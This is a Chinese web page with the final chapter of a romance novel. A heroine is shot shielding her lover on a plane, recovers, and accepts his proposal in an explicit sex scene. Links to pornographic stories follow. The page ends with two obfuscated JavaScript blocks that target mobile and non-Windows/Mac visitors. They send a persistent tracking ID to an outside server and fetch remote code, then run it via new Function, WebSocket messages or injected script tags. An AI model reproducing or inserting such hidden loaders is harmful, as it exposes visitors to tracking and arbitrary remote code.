只是爱情这条路对她而言实在崎岖难行,她在其中跌跌撞撞,还是不曾后悔有过这么一段,能这样深沈地刻划在心版上,不管将来她和他会是如何,这一辈子,她再也不会爱一个人如同爱他这样。

叹了口气,她在笑,却仍流着眼泪。“尧天,我爱你,我就是爱你,没有理由的!”

雷尧天深沈的脸庞一下子笼罩了一层奇异的光辉,黑黝黝的眼瞳进发出锐利的光彩,如同搜寻到猎物的老鹰一般。

他唿吸变得粗重,又短又促,瞪着怀中温柔动人的小脸,掀动薄唇正要说话,一名空中小姐未经知会却突然拉开布帘——

不对劲!

在险境中打滚多年的经验,让雷尧天在第一时间意识到危险。

可惜,那思绪刚由脑中闪过,并迅雷不及掩耳地伸手探向暗藏在座位底下的手枪时,那名空中小姐早巳掏出一把掌心雷手枪,对准他的脑袋!

“不要!”方蜜儿尖叫一声,不顾一切抱住雷尧天,揽紧他的颈项。

随即,机舱内“砰砰”两响,枪声大阼。

所有人全冲进来,下一秒,已经将持枪暗杀、却反被雷尧天开枪击中手臂的空中小姐压倒在地上。

雷尧天完好无缺,丝毫未受到伤害,但身上却溅满鲜血。

方蜜儿软软瘫在他怀里,子弹由背后射进胸口,他定定望住那张惨白如纸的小脸,一种可怕的恐惧抓住他,紧掐他的心脏,仿佛她会这样沈睡着,永远也不会醒来……

第十章

雷尧天从来没有尝过这样的痛苦滋味。

当方蜜儿在他怀里逐渐失温,心跳越来越弱;当所有医护人员全沈着脸,急匆匆地将昏迷不醒的方蜜儿推进手术房;当手术房的那扇门一直紧闭着,完全无法得知里头发生的事时,他觉得自己快要疯了。

他不能失去她!如果往后的人生没有了她,这一切的一切,还有什么意思? 他从来不信鬼神,从来不曾祷告,但为了她——他最在乎的人儿,他愿意对那些不知是否真的存在的各方神祉低头。

终于,在经过八个小时的手术抢救之下,方蜜儿的状况稳定下来了。

不幸中的大幸是,那颗子弹并末射穿她的心脏,只差一点点的距离而已。 手术过后,方蜜儿在病床上昏迷了两天,终于完全清醒。

她醒来后,特等病房中有两位专业医护人员在旁看顾着她,成天对她嘘寒问暖,极尽照顾之能事,但她却没有见到雷尧天。

她记起那一天在机舱里发生的意外,她怕雷尧天也受了伤,追问之下,那两名医护人员只告诉她,雷尧天并未受伤,但她被送进医院急救时,他就像疯子似地对着所有人咆哮,还撂下狠话,说要是没把她救活,他绝对会放一把火烧掉整座医院。

听到这样的转述,方蜜儿瞠目结舌地说不出话来,一方面讶异于他过度激烈的反应,一方面对他恶霸般的作风感到无可奈何。

“小姐,还好你状况不错,要不然,这里肯定要被烧成废墟啰!”

“是呀!你无论如何一定要快快把身体养好,这样大家都高兴,雷先生看你高兴,他就跟着高兴啦!付给我们的看护费用一定多得吓人,我们也就跟着高兴啦!”

被人家这么开玩笑,方蜜儿苍白的脸终于有些血色,心里却幽幽叹息,不知道雷尧天哪个时候才会出现,也不知道他现在是不是还有危险?

下午,阳光露脸,金黄光芒洒进病房里。方蜜儿身体还很虚弱,喝了半杯温牛奶后,迷迷煳煳地睡着了。

睁开眼睛时,两名医护人员不在房里,她的小手被一只粗糙手掌轻轻握住,雷尧天坐在床头边,正专注地看着她。

“尧天……”乍见挂念的人,方蜜儿唇边绽出一抹虚弱的笑,反射地想撑起上半身,但才轻轻一动,伤口就传来痛感,害她忍不住闷哼了声,眉心皱了起来。 “别乱动。”雷尧天急急制止她,托着她的后颈和纤瘦的肩膀,让她缓缓躺回床上。

“不准你乱动。”他从床头边的椅子移到床上来,双臂撑在她两侧,垂着头,深刻无比地看着她。

“尧天,你怎么了?”方蜜儿心跳微微加快,被他火热又深邃的眼神牵动心房。

“为什么那么傻?你以为用身体挡得了子弹吗?”雷尧天声音好低。

方蜜儿美丽的脸蛋变得通红,小声地嗫嚅:“我……我不要你受伤……” “所以你就连命也不要地挡在我面前?”他压住她的长发,不让她撇开小脸。“你这个女人,为什么就不能普通一点,偏偏让我这么难受?”

他近乎自言自语地低喃,声音里夹杂着某种奇特的东西,有些难以言喻。 “尧天……唔!”她轻唤他的唇在下一秒被他捕捉,吻得很深。

她身上有伤,他不敢太过用力,双手握住她的手腕,轻轻压制住,在她唇齿间眷恋着,将自己的气息融进她的唿吸中,让她在这个温柔的挑逗中慢慢丧失力气。

不知过了多久,两张唇才缓缓分开,方蜜儿粉嫩的脸颊变得嫣红,羞涩地牵唇微笑,定定地望着他,一会儿才轻哑地问:“那个空中小姐为什么要杀你?这到底是怎么一回事?”

“那人不是空中小姐,他甚至不是女人,而是一位改装过后的职业杀手。 “啊?”印象中,那位空姐身材很好,怎么会……她眨眨眼,觉得不可思议。 “这件事,我在这几天已经处理好了,前因后果也都调查清楚,我不会再让任何人伤害你。”

他的身份本来就十分特殊,他只想好好保护她,那些黑暗面的种种,他不愿意她牵涉进去。

她垂下美丽的睫毛,几秒过后,又擡起眼眸缓慢地迎向他。

“我早就有心里准备的,我决定跟着你,早就明白可能会有一些奇奇怪怪的意外会发生,但我不怕,我只想在你身边,就算有一天你没办法保护我,那也没关系……”

她的话重重震撼他的心,一股前所未有的暖流在体内滚滚涌出。

他再次吻住她,像在呵护一件珍贵宝物,怕太过用力会不小心伤害到她。 “蜜儿,我想我明白了一件事。”他低低吐气,撩拨她玫瑰般的肌肤。 “嗯?”

“你对我而言,很重要、很重要,我不能失去你。”

“啊?”她美丽眼瞳漾着流光。

雷尧天微微牵唇,眼神深邃。“当你满身是血昏倒在我怀里,我觉得快要不能唿吸,很怕你永远就这样睡着,再也不会睁开眼睛……”

一边说着,他一边擡起手指抚触着她的眼,还低头印下温柔的吻。

“你进入手术室后,我一个人想了很久,想我们之间许许多多的事,从以前到现在的所有事情。这些年,我以为自己是孤独的,可是我发觉,就算我飞到很远的地方,心里仍时常想着你,我不太明白这是为什么?知道你一直都在,我心里有种奇异的充足感。

“之前我要你走,到萨维克的身边去,其实我……我承认我那时在害怕,怕对你太过在意,会变得软弱。

“我不想伤害你,可是却一直在做伤害你的事,让你伤心,惹得你难过,我这样的人真的很糟,你却是那么爱我……”

方蜜儿怔怔听着雷尧天的告白,心也揪痛了,泪水更是一发不可收拾,不断从眼角渗出。

“别哭了,蜜儿,乖,不要哭了,好不好?是我反应迟顿,我又坏又固执,既恶劣又霸道,我根本就不值得你爱,可是……我不想失去你,我需要你,我不能没有你,我只想要你,你懂吗?如果这样的感情是爱,那我就是爱你,疯狂地爱着你,我爱你,蜜儿。”

他一直不敢承认对她的感情早就超乎寻常,是他太过骄傲了,自然而然地排斥那些因她而起的柔软情绪,因为她的温柔让他不安:可是当他失去那份温柔时,仿佛某一部分的自己也被带走了,变得阴郁、暴躁。

后来,方馨儿无心的一番话语稍稍点醒了他,让他开始思考两人之间的事。 既然他已确定自己一辈子也不会放开她,表示他对她确实是在乎的,只是在乎到何种程度,他还不清楚。

然而,接下来在机舱里发生的意外、射进她体内的那颗子弹,犹如当头棒喝,狠狠敲醒他,让他体认到隐藏在心里的情感。

他对她,已到彻底疯狂的地步,他不知道那样猛烈的感觉如果不是所谓的爱,那还能是什么?

听到雷尧天这些话,方蜜儿完全没办法反应,只能不停地流泪,那对沈浸在雾里的水眸美得像梦一样。

老天!他爱她?他说,他爱她?

她哭得上气不接下气,曾经以为,这一辈子永远也不会听到雷尧天对她说出这句话……

但他说丫,清清楚楚地表白,就算最后他只是耍着她玩,她也心甘情愿让他骗了。

“别哭了,蜜儿,我的蜜儿……”他以唇亲走她颊上的泪,一下又一下,每一个动作都是这么地温柔。

“呜呜呜……傻瓜……你这个大傻瓜!你是最坏、最坏的人……”

“对,我最坏,我是大傻瓜,蜜儿,我爱你!”

“呜呜呜……”

没想到她哭得更响,雷尧天叹气。“别哭了,乖,别哭了,好不好?” 方蜜儿泪中带笑,擡起眼睛瞅着雷尧天,脸庞格外娇美艳丽,带着鼻音轻嚷:“这是欢喜的眼泪,人家忍不住嘛!呜呜呜……你爱我,你说你爱我……呜……人家真的忍不住嘛!”

“那你是答应嫁给我了?”他伸出舌轻舔她的小脸,乘机诱哄着。“到底答不答应?快说!答案只能有一个,我不接受拒绝。”

唉!他爱她,却依然一样霸道。

但是,她连他的霸道也深深爱恋着,不是吗?

她被他亲密的舔吻弄得全身酥麻,幽幽叹气:“尧天,我爱你,好爱你……” “我也爱你。”他的舌探进她的小嘴里,和她的丁香小舌玩起追逐战,时而深深吸吮,时而以舌滑弄她小嘴里柔嫩的每一处,逗弄得她逸出断断续续的呻吟。 “嫁给我!蜜儿,乖,说你要嫁给我,快说……”

“我……我要嫁给你,我要嫁你……”

雷尧天满足地扬唇,乘胜追击,将她撩弄得更加意乱情迷。“你会替我生孩子,生好多孩子,比一支棒球队还多。”

“我会帮你生……唔!人家又不是母猪,讨厌啦!”方蜜儿可怜兮兮地抗议,言语间渗进撒娇的味道,小脸美得不可思议。

雷尧天咧嘴大笑。“你如果是母猪,那我就当公猪,正在发情的那一种,好一口把你给吞了。”

“尧天……”方蜜儿羞涩地咬唇。

雷尧天忽然叹气,摸摸她发烫的颊,“不要用那种眼神看我,你知道的,我禁不起你的诱惑。乖一点,你身上有伤,我不想弄痛你。”

这种折磨实在太痛苦,他的身体疯狂地想要她,但他不能不顾她的状况。在她秀额上印下一吻,他低沈地说:“闭上眼睛休息,多睡一会儿。”

他正要起身,却被她的小手拉住了。

他回过头看向满面通红的小女人,挑了挑眉。

鼓起勇气,方蜜儿轻轻地问:“你要去哪里?我……我不要你走,我想我们可以……可以做的……”最后声音突然变得好小声,但雷尧天还是听见了,帅气的浓眉挑得更高。

他坐回床上,双目炯炯有神,唇边渗出笑意,坏坏地问:“我们可以做什么?” “可以做……就是……做那个啦!”方蜜儿别开烫得快要冒烟的小脸,又羞又恼,心里仿佛盛开着无数的花朵,柔软芬芳。

“你讨厌啦!”她骂了一句。明明知道还要她讲,真的很讨厌耶!

雷尧天扳正方蜜儿的脸,俯下头,用鼻尖蹭着她的,手指抚着她的软唇。“你伤口会痛的。”

被珍惜的感觉好好哦!方蜜儿静静回望着雷尧天,羞涩地摇头。“我想被你拥抱,想感受你的体温,好想好想,我不要你走开……”

说完,她主动拉下他的颈项,红唇密密地贴了上去,以他以往亲吻她的方法,热力全开地轻吮着、撩拨着,瞬间点燃火苗。

雷尧天再也按捺不住,迅雷不及掩耳地抢回主导权。他的吻销魂炽热,将她的灵魂挤迫到一个虚无飘渺的地方。

“蜜儿……”雷尧天轻唤,以前所未有的温柔爱抚着她的身体曲线,刻意避开她的伤处,拉开她的衣服,缓缓探进她腿间的三角地带。

“嗯……”她的身躯扭动起来,裸露的肌肤泛出美丽的色泽,她擡起手试着抚摸他,却被他用单掌扣住双腕。

“不要动,会扯痛伤口的,乖乖躺着就好,蜜儿,我美丽的蜜儿,我要让你尝到最甜美的结合,你会喜欢的!”

雷尧天喃喃述说,以唇代手,吻遍她发烫的嫩肤,花了好久的时间,吻过一遍又一遍,仿佛她是一道精美又细巧的甜点,需要慢慢品尝。

“尧天,我好热……啊!”

他的头正滑到她两腿之间,力道或重或轻地吻住那朵等待男人进入的娇美花朵,他的舔弄将她滋养得加倍晶莹,散发出女性甜美的香气,轻易地催情了周遭的空气。

“尧天,不要……太刺激了……啊!”她浑身颤抖,感觉男人的热舌大胆地侵入体内,他一进一出地持续着,一股奇妙的电流窜过她的四肢百骸,那温暖的潮水便随着他的舌沁流出来。

“蜜儿,我喜欢看你这个模样,又渴望又害羞,好可爱。”雷尧天低笑,气息也变得粗喘。

“你……你好讨厌啦!唔……”方蜜儿咬着唇,意识已渐渐迷乱。

女人就爱口是心非,嘴上说讨厌他,身体却诚实地反应,在他的碰触下展现出最动人的娇态。

“蜜儿,我要你嫁给我,替我生孩子,我爱你!”雷尧天喘息着,扳开方蜜儿的腿,小心翼翼地进入她的身体。

“啊——”

他捧高她的臀,深深嵌进她的腿间,缓慢却深重地摆动起来。

“蜜儿……蜜儿……”他不断喃着她的名,低低的喘息声和她的娇吟交杂相叠。

这样的结合充满温柔和怜惜,他填满了她的空虚,她套裹着他的巨大,他们甜蜜又激情地相爱着。

整个爱恋的过程,两个赤裸的身躯紧紧交缠,一遍又一遍,让她忘记伤口的疼痛。

或者,从头到尾,她的枪伤都丝毫没有疼痛过,他爱她爱得温柔万分,只带来源源不绝的高潮,让她一次又一次攀上云端。

他爱她……不管是身体和心灵,他都深深地爱着她……

终于,他在她温暖的体内爆炸,火源喷射出巨量的生命,他将种子埋在她充满爱的花园。

这一次,他们都感觉到了,在她的身体里,爱正在结合,那种子即将发芽,一个小小生命就要来到两人的世界……

这一次,他一定会成功地让她受孕!所以,婚礼当然得越快举行越好啰!雷尧天暗自窃笑。

他个人是完全无所谓啦!只不过他这个美丽又害羞的新娘子,八成不会愿意顶着圆圆的肚子,跟他走上红毯的另一端吧?

“我爱你。”对她,这三个字,他已经说得很习惯。

方蜜儿幽幽地睁开眼眸,朝着雷尧天慵懒地牵唇。“我也爱你,好爱好爱……我已经爱你好久,悄悄的,一直都放在心里……”

他亲吻她汗湿的额头,眼神温柔。“那么,换我来爱你,爱得好久、好久,不只这一辈子,下一辈子,我也要爱你,好不好?”

“嗯!”她娇羞地笑,笑得那么美丽满足,然后合起眼睛,在他怀里沈睡。 虽然是冬天,屋外还飘着雪,但他们的爱情却有着足够的暖意,团团将他们包围,温暖了心心相印的两个灵魂……


上一篇:不用带套干我

下一篇:我在钓虾场干了女友的妹妹


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};